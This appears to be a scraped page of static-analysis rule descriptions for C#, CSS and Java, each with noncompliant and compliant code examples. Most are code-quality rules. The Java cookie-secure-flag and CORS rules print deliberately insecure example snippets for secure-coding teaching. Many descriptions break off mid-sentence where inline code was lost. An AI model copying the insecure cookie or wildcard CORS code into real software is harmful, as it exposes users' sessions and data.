Most developers expect property access to be as efficient as field access. However, if a property returns a copy of an array or collection, it will be much slower than simple field access, contrary to the caller's likely expectations. Therefore, such properties should be refactored into methods so that callers are not surprised by the unexpectedly poor performance. This rule detects calls to Noncompliant Code Exampleprivate List<string> _foo = new List<string> { "a", "b", "c" }; public IEnumerable<string> Foo // Noncompliant { get { return _foo.ToList(); } } private string[] _bar = new string[] { "a", "b", "c" }; public IEnumerable<string> Bar // Noncompliant { get { return (string[])_bar.Clone(); } } Compliant Solutionprivate List<string> _foo = new List<string> { "a", "b", "c" }; private string[] _bar = new string[] { "a", "b", "c" }; public IEnumerable<string> GetFoo() { return _foo.ToList(); } public IEnumerable<string> GetBar() { return (string[])_bar.Clone(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S131 |
The requirement for a final Noncompliant Code Exampleint foo = 42; switch (foo) // Noncompliant { case 0: Console.WriteLine("foo = 0"); break; case 42: Console.WriteLine("foo = 42"); break; } Compliant Solutionint foo = 42; switch (foo) // Compliant { case 0: Console.WriteLine("foo = 0"); break; case 42: Console.WriteLine("foo = 42"); break; default: throw new InvalidOperationException("Unexpected value foo = " + foo); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2123 |
A value that is incremented or decremented and then not stored is at best wasted code and at worst a bug. Noncompliant Code Examplepublic int PickNumber() { int i = 0; int j = 0; i = i++; // Noncompliant; i is still zero return j++; // Noncompliant; 0 returned } Compliant Solutionpublic int PickNumber() { int i = 0; int j = 0; i++; return ++j; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3453 |
A class with only Noncompliant Code Examplepublic class MyClass // Noncompliant { private MyClass() { ... } } Compliant Solutionpublic class MyClass { public MyClass() { ... } } ExceptionsClasses that themselves access their private constructors (singletons or smart enums) are ignored. Classes with only |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1155 |
Using - if the collection is an - if the collection is part of a LINQ query that contains Noncompliant Code Exampleprivate static bool HasContent(IEnumerable<string> strings) { return strings.Count() > 0; // Noncompliant } private static bool HasContent2(IEnumerable<string> strings) { return strings.Count() >= 1; // Noncompliant } private static bool IsEmpty(IEnumerable<string> strings) { return strings.Count() == 0; // Noncompliant } Compliant Solutionprivate static bool HasContent(IEnumerable<string> strings) { return strings.Any(); } private static bool IsEmpty(IEnumerable<string> strings) { return !strings.Any(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S4670 |
HTML, SVG, and MathML define the selectors which can be used in a CSS. A selector that is not part of them is likely to be a typo or a misunderstanding of the CSS syntax. Noncompliant Code Examplefield {} ul list {} Compliant Solutioninput {} ul li {} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S4660 |
The W3C specifications define the valid pseudo-element selectors. Only the official and browser-specific pseudo-element selectors should be used to get the expected impact in the final rendering. Noncompliant Code Examplea::beforre { /* Noncompliant; there is a typo on the word "before" */ ... } Compliant Solutiona::before { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S4649 |
If none of the font names defined in a Noncompliant Code Examplea { font-family: Helvetica, Arial, Verdana, Tahoma; /* Noncompliant; there is no generic font family in the list */ } Compliant Solutiona { font-family: Helvetica, Arial, Verdana, Tahoma, sans-serif; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S1116 |
Extra semicolons are usually introduced by mistake, for example because:
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S1128 |
Having the import of the same file twice, makes one of them useless. Leaving them in reduces the code's readability, since their presence can be confusing. Noncompliant Code Example@import 'a.css'; @import 'a.css'; // Noncompliant @import url("a.css"); @import url("a.css"); // Noncompliant ExceptionsThis rule ignores |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S4658 |
Leftover empty blocks are usually introduced by mistake. They are useless and prevent readability of the code. They should be removed or completed with real code. Noncompliant Code Examplea { } Compliant Solutiona { color: pink; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S4647 |
An invalid color definition will by default be interpreted as black, which is likely to have unintended impacts on the expected look and feel of the website. This rule raises an issue when a color definition ( - longhand: 6 or 8 characters (when alpha is defined) - shorthand variant: 3 or 4 characters (when alpha is defined) Noncompliant Code Examplea { color: #3c; /* Noncompliant; shorthand should be made of 3 characters */ } div { background-color: #3cb371a; /* Noncompliant; alpha should have 2 characters */ } Compliant Solutiona { color: #3cc; } div { background-color: #3cb371ac; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S4648 |
Having duplicated font names doesn't help to read the font declaration and may be an indicator the author of the line was not sure how to configure
it. This rule raises an issue when Noncompliant Code Examplea { font-family: 'Georgia', Georgia, serif; /* Noncompliant; 'Georgia' is duplicated */ } Compliant Solutiona { font-family: Georgia, serif; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S4659 |
The W3C specifications define the valid pseudo-class selectors. Only the official and browser-specific pseudo-class selectors should be used to get the expected impact in the final rendering. Noncompliant Code Examplea:hoverr { /* Noncompliant; there is a typo on the word "hover" */ ... } Compliant Solutiona:hover { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S4663 |
An empty multi-line comment is likely to be a mistake and doesn't help to improve the readability of the code. For these reasons, it should be removed. Noncompliant Code Example/* */ /* */ |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S4652 |
According to the W3C specifications:
Noncompliant Code Examplea { content: "first second"; } Compliant Solutiona { content: "first\Asecond"; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S4664 |
Order of instructions in CSS is important: instructions with equal specificity that occur later in the file take the priority. But when a selector
with a higher specificity (e.g. Noncompliant Code Examplep a { color: green; } a { color: blue; } Compliant Solutiona { color: blue; } p a { color: green; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S4653 |
The W3C specifications define the This rule raises an issue each time a unit is not officially supported. Noncompliant Code Examplea { width: 10pixels; /* Noncompliant; "pixels" is not a valid unit */ } Compliant Solutiona { width: 10px; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S4650 |
More precisely, before an operator, there must be a single whitespace or a newline plus indentation. After an operator, there must be a single whitespace or a newline. Noncompliant Code Example#div1 { position: absolute; width: calc(100%- 100px); /* Noncompliant; no space after the % sign */ } Compliant Solution#div1 { position: absolute; width: calc(100% - 100px); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S4661 |
The W3C specifications define the valid media features. Only the official and browser-specific media features should be used to get the expected impact in the final rendering. Noncompliant Code Example@media screen and (unknown: 1000px) { .. } Compliant Solution@media screen and (width: 1000px) { .. } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S4662 |
The W3C specifications define the valid Noncompliant Code Example@encoding "utf-8"; Compliant Solution@charset "utf-8"; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S4651 |
This rule raises an issue when the first parameter of a Noncompliant Code Example.foo { background: -webkit-linear-gradient(to top, #fff, #000); background: linear-gradient(top, #fff, #000); } .bar { background: linear-gradient(45, #fff, #000); } Compliant Solution.foo { background: -webkit-linear-gradient(top, #fff, #000); background: linear-gradient(to top, #fff, #000); } .bar { background: linear-gradient(45deg, #fff, #000); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S4656 |
CSS allows duplicate property names but only the last instance of a duplicated name determines the actual value that will be used for it. Therefore, changing values of other occurrences of a duplicated name will have no effect and may cause misunderstandings and bugs. This rule ignores Noncompliant Code Examplea { color: pink; background: orange; color: orange } Compliant Solutiona { color: pink; background: orange } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S4667 |
This rule raises an issue when a CSS file is empty (ie: containing only spaces). |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S4657 |
A shorthand property defined after a longhand property will completely override the value defined in the longhand property making the longhand one useless. The code should be refactored to consider the longhand property or to remove it completely. Noncompliant Code Examplea { padding-left: 10px; padding: 20px; /* Noncompliant; padding is overriding padding-left making it useless */ } Compliant Solutiona { padding: 10px; /* Compliant; padding is defining a general behaviour and padding-left, just after, is precising the left case */ padding-left: 20px; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S4668 |
The W3C specifications say comments should be defined using Noncompliant Code Example// some comment a { color: pink; } Compliant Solution/* some comment */ a { color: pink; } ExceptionsThis rule ignores single line comments in |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S4654 |
The W3C specifications define the valid CSS properties. Only the official and browser-specific properties should be used to get the expected impact in the final rendering. This rule ignores: - - vendor-prefixed properties (e.g., Noncompliant Code Examplea { colour: blue; /* Noncompliant; colour is not part of the specifications */ } Compliant Solutiona { color: blue; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S4655 |
Noncompliant Code Example@keyframes kf { from { margin-top: 50px; } 50% { margin-top: 150px !important; } /* Noncompliant; ignored */ to { margin-top: 100px; } } Compliant Solution@keyframes kf { from { margin-top: 50px; } 50% { margin-top: 150px; } to { margin-top: 100px; } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
css:S4666 |
Duplication of selectors might indicate a copy-paste mistake. The rule detects the following kinds of duplications:
Noncompliant Code Example.foo, .bar, .foo { ... } /* Noncompliant */ .class1 { ... } .class1 { ... } /* Noncompliant */ Compliant Solution.foo, .bar { ... } .class1 { ... } .class2 { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-js:InsufficientBranchCoverage |
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-js:InsufficientLineCoverage |
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-js:InsufficientCommentDensity |
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-js:DuplicatedBlocks |
An issue is created on a file as soon as there is at least one block of duplicated code on this file
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-js:SkippedUnitTests |
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-js:FailedUnitTests |
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-kotlin:InsufficientBranchCoverage |
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-kotlin:InsufficientLineCoverage |
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-kotlin:InsufficientCommentDensity |
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-kotlin:DuplicatedBlocks |
An issue is created on a file as soon as there is at least one block of duplicated code on this file
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-kotlin:SkippedUnitTests |
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-kotlin:FailedUnitTests |
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2093 |
Java 7 introduced the try-with-resources statement, which guarantees that the resource in question will be closed. Since the new syntax is closer
to bullet-proof, it should be preferred over the older This rule checks that Note that this rule is automatically disabled when the project's Noncompliant Code ExampleFileReader fr = null; BufferedReader br = null; try { fr = new FileReader(fileName); br = new BufferedReader(fr); return br.readLine(); } catch (...) { } finally { if (br != null) { try { br.close(); } catch(IOException e){...} } if (fr != null ) { try { br.close(); } catch(IOException e){...} } } Compliant Solutiontry ( FileReader fr = new FileReader(fileName); BufferedReader br = new BufferedReader(fr) ) { return br.readLine(); } catch (...) {} or try (BufferedReader br = new BufferedReader(new FileReader(fileName))) { // no need to name intermediate resources if you don't want to return br.readLine(); } catch (...) {} See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S899 |
When the return value of a function call contain the operation status code, this value should be tested to make sure the operation completed successfully. This rule raises an issue when the return values of the following are ignored:
Noncompliant Code Examplepublic void doSomething(File file, Lock lock) { file.delete(); // Noncompliant // ... lock.tryLock(); // Noncompliant } Compliant Solutionpublic void doSomething(File file, Lock lock) { if (!lock.tryLock()) { // lock failed; take appropriate action } if (!file.delete()) { // file delete failed; take appropriate action } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2092 |
When a cookie is protected with the Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleIf you create a security-sensitive cookie in your JAVA code: Cookie c = new Cookie(COOKIENAME, sensitivedata); c.setSecure(false); // Sensitive: a security-ensitive cookie is created with the secure flag set to false By default the Cookie c = new Cookie(COOKIENAME, sensitivedata); // Sensitive: a security-sensitive cookie is created with the secure flag not defined (by default set to false) Compliant SolutionCookie c = new Cookie(COOKIENAME, sensitivedata); c.setSecure(true); // Compliant: the sensitive cookie will not be send during an unencrypted HTTP request thanks to the secure flag set to true See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4274 |
An This rule raises an issue when a Noncompliant Code Examplepublic void setPrice(int price) { assert price >= 0 && price <= MAX_PRICE; // Set the price } Compliant Solutionpublic void setPrice(int price) { if (price < 0 || price > MAX_PRICE) { throw new IllegalArgumentException("Invalid price: " + price); } // Set the price } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2095 |
Connections, streams, files, and other classes that implement the Failure to properly close resources will result in a resource leak which could bring first the application and then perhaps the box the application is on to their knees. Noncompliant Code Exampleprivate void readTheFile() throws IOException { Path path = Paths.get(this.fileName); BufferedReader reader = Files.newBufferedReader(path, this.charset); // ... reader.close(); // Noncompliant // ... Files.lines("input.txt").forEach(System.out::println); // Noncompliant: The stream needs to be closed } private void doSomething() { OutputStream stream = null; try { for (String property : propertyList) { stream = new FileOutputStream("myfile.txt"); // Noncompliant // ... } } catch (Exception e) { // ... } finally { stream.close(); // Multiple streams were opened. Only the last is closed. } } Compliant Solutionprivate void readTheFile(String fileName) throws IOException { Path path = Paths.get(fileName); try (BufferedReader reader = Files.newBufferedReader(path, StandardCharsets.UTF_8)) { reader.readLine(); // ... } // .. try (Stream<String> input = Files.lines("input.txt")) { input.forEach(System.out::println); } } private void doSomething() { OutputStream stream = null; try { stream = new FileOutputStream("myfile.txt"); for (String property : propertyList) { // ... } } catch (Exception e) { // ... } finally { stream.close(); } } ExceptionsInstances of the following classes are ignored by this rule because
Java 7 introduced the try-with-resources statement, which implicitly closes try (BufferedReader br = new BufferedReader(new FileReader(fileName))) { //... } catch ( ... ) { //... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5122 |
Having a permissive Cross-Origin Resource Sharing policy is security-sensitive. It has led in the past to the following vulnerabilities: Same origin policy in browsers prevents, by default and for security-reasons, a javascript frontend to perform a cross-origin HTTP request to a resource that has a different origin (domain, protocol, or port) from its own. The requested target can append additional HTTP headers in response, called CORS, that act like directives for the browser and change the access control policy / relax the same origin policy. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleJava servlet framework: @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setHeader("Content-Type", "text/plain; charset=utf-8"); resp.setHeader("Access-Control-Allow-Origin", "*"); // Sensitive resp.setHeader("Access-Control-Allow-Credentials", "true"); resp.setHeader("Access-Control-Allow-Methods", "GET"); resp.getWriter().write("response"); } Spring MVC framework: @CrossOrigin // Sensitive @RequestMapping("") public class TestController { public String home(ModelMap model) { model.addAttribute("message", "ok "); return "view"; } } CorsConfiguration config = new CorsConfiguration(); config.addAllowedOrigin("*"); // Sensitive config.applyPermitDefaultValues(); // Sensitive servlet.config.annotation.CorsConfiguration class Insecure implements WebMvcConfigurer { @Override public void addCorsMappings(CorsRegistry registry) { registry.addMapping("/**") .allowedOrigins("*"); // Sensitive } } Compliant SolutionJava Servlet framework: @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setHeader("Content-Type", "text/plain; charset=utf-8"); resp.setHeader("Access-Control-Allow-Origin", "trustedwebsite.com"); // Compliant resp.setHeader("Access-Control-Allow-Credentials", "true"); resp.setHeader("Access-Control-Allow-Methods", "GET"); resp.getWriter().write("response"); } Spring MVC framework: @CrossOrigin("trustedwebsite.com") // Compliant @RequestMapping("") public class TestController { public String home(ModelMap model) { model.addAttribute("message", "ok "); return "view"; } } CorsConfiguration config = new CorsConfiguration(); config.addAllowedOrigin("http://domain2.com"); // Compliant servlet.config.annotation.CorsConfiguration class Safe implements WebMvcConfigurer { @Override public void addCorsMappings(CorsRegistry registry) { registry.addMapping("/**") .allowedOrigins("safe.com"); // Compliant } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2094 |
There is no good excuse for an empty class. If it's being used simply as a common extension point, it should be replaced with an
Noncompliant Code Examplepublic class Nothing { // Noncompliant } Compliant Solutionpublic interface Nothing { } ExceptionsEmpty classes can be used as marker types (for Spring for instance), therefore empty classes that are annotated will be ignored. @Configuration @EnableWebMvc public final class ApplicationConfiguration { } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4275 |
Getters and setters provide a way to enforce encapsulation by providing This rule raises an issue in any of these cases:
Noncompliant Code Exampleclass A { private int x; private int y; public void setX(int val) { // Noncompliant: field 'x' is not updated this.y = val; } public int getY() { // Noncompliant: field 'y' is not used in the return value return this.x; } } Compliant Solutionclass A { private int x; private int y; public void setX(int val) { this.x = val; } public int getY() { return this.y; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2097 |
Because the Noncompliant Code Examplepublic boolean equals(Object obj) { MyClass mc = (MyClass)obj; // Noncompliant // ... } Compliant Solutionpublic boolean equals(Object obj) { if (obj == null) return false; if (this.getClass() != obj.getClass()) return false; MyClass mc = (MyClass)obj; // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3065 |
When using Noncompliant Code Exampleprivate static final int UPPER = 20; private static final int LOWER = 0; public int doRangeCheck(int num) { // Let's say num = 12 int result = Math.min(LOWER, num); // result = 0 return Math.max(UPPER, result); // Noncompliant; result is now 20: even though 12 was in the range } Compliant SolutionSwapping method private static final int UPPER = 20; private static final int LOWER = 0; public int doRangeCheck(int num) { // Let's say num = 12 int result = Math.max(LOWER, num); // result = 12 return Math.min(UPPER, result); // Compliant; result is still 12 } or swapping bounds private static final int UPPER = 20; private static final int LOWER = 0; public int doRangeCheck(int num) { // Let's say num = 12 int result = Math.min(UPPER, num); // result = 12 return Math.max(LOWER, result); // Compliant; result is still 12 } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5361 |
The underlying implementation of When This rule raises an issue for each Noncompliant Code ExampleString init = "Bob is a Bird... Bob is a Plane... Bob is Superman!"; String changed = init.replaceAll("Bob is", "It's"); // Noncompliant changed = changed.replaceAll("\\.\\.\\.", ";"); // Noncompliant Compliant SolutionString init = "Bob is a Bird... Bob is a Plane... Bob is Superman!"; String changed = init.replace("Bob is", "It's"); changed = changed.replace("...", ";"); Or, with a regex: String init = "Bob is a Bird... Bob is a Plane... Bob is Superman!"; String changed = init.replaceAll("\\w*\\sis", "It's"); changed = changed.replaceAll("\\.{3}", ";"); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3064 |
Double-checked locking can be used for lazy initialization of Noncompliant Code Examplepublic class MyClass { private volatile List<String> strings; public List<String> getStrings() { if (strings == null) { // check#1 synchronized(MyClass.class) { if (strings == null) { strings = new ArrayList<>(); // Noncompliant strings.add("Hello"); //When threadA gets here, threadB can skip the synchronized block because check#1 is false strings.add("World"); } } } return strings; } } Compliant Solutionpublic class MyClass { private volatile List<String> strings; public List<String> getStrings() { if (strings == null) { // check#1 synchronized(MyClass.class) { if (strings == null) { List<String> tmpList = new ArrayList<>(); tmpList.add("Hello"); tmpList.add("World"); strings = tmpList; } } } return strings; } } See
See Also
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2096 |
There's no reason for a Instead, the method should itself gracefully handle any exceptions that may bubble up to it, attach as much contextual information as possible, and
perform whatever logging or user communication is necessary, and Noncompliant Code Examplepublic static void main(String args[]) throws Exception { // Noncompliant doSomething(); } Compliant Solutionpublic static void main(String args[]) { try { doSomething(); } catch (Throwable t) { log.error(t); System.exit(1); // Default exit code, 0, indicates success. Non-zero value means failure. } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4032 |
There is no reason to have a package that is empty except for "package-info.java". Such packages merely clutter a project, taking up space but adding no value. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3067 |
Instead, hard code the name of the class on which to synchronize or make the class Noncompliant Code Examplepublic class MyClass { public void doSomethingSynchronized(){ synchronized (this.getClass()) { // Noncompliant // ... } } Compliant Solutionpublic class MyClass { public void doSomethingSynchronized(){ synchronized (MyClass.class) { // ... } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3066 |
Noncompliant Code Examplepublic enum Continent { NORTH_AMERICA (23, 24709000), // ... EUROPE (50, 39310000); public int countryCount; // Noncompliant private int landMass; Continent(int countryCount, int landMass) { // ... } public void setLandMass(int landMass) { // Noncompliant this.landMass = landMass; } Compliant Solutionpublic enum Continent { NORTH_AMERICA (23, 24709000), // ... EUROPE (50, 39310000); private int countryCount; private int landMass; Continent(int countryCount, int landMass) { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4034 |
When using the This rule raises an issue when one of the following substitution is possible:
Noncompliant Code Exampleboolean hasRed = widgets.stream().filter(w -> w.getColor() == RED).findFirst().isPresent(); // Noncompliant Compliant Solutionboolean hasRed = widgets.stream().anyMatch(w -> w.getColor() == RED); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4276 |
The This rule raises an issue when any of the following substitution is possible:
Noncompliant Code Examplepublic class Foo implements Supplier<Integer> { // Noncompliant @Override public Integer get() { // ... } } Compliant Solutionpublic class Foo implements IntSupplier { @Override public int getAsInt() { // ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5128 |
Not annotating a variable with This rule will run by default on all Noncompliant Code Exampleimport javax.validation.Valid; import javax.validation.constraints.NotNull; public class User { @NotNull private String name; } public class Group { @NotNull private List<User> users; // Noncompliant; User instances are not validated } public class MyService { public void login(User user) { // Noncompliant; parameter "user" is not validated } } Compliant Solutionimport javax.validation.Valid; import javax.validation.constraints.NotNull; public class User { @NotNull private String name; } public class Group { @Valid @NotNull private List<User> users; // Compliant; User instances are validated @NotNull // preferred style as of Bean Validation 2.0 private List<@Valid User> users2; // Compliant; User instances are validated } public class MyService { public void login(@Valid User user) { // Compliant } } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S888 |
Testing Noncompliant Code Examplefor (int i = 1; i != 10; i += 2) // Noncompliant. Infinite; i goes from 9 straight to 11. { //... } Compliant Solutionfor (int i = 1; i <= 10; i += 2) // Compliant { //... } ExceptionsEquality operators are ignored if the loop counter is not modified within the body of the loop and either:
Equality operators are also ignored when the test is against for (int i = 0; arr[i] != null; i++) { // ... } for (int i = 0; (item = arr[i]) != null; i++) { // ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3052 |
The compiler automatically initializes class fields to their default values before setting them with any initialization values, so there is no need to explicitly set a field to its default value. Further, under the logic that cleaner code is better code, it's considered poor style to do so. Noncompliant Code Examplepublic class MyClass { int count = 0; // Noncompliant // ... } Compliant Solutionpublic class MyClass { int count; // ... } Exceptions
|
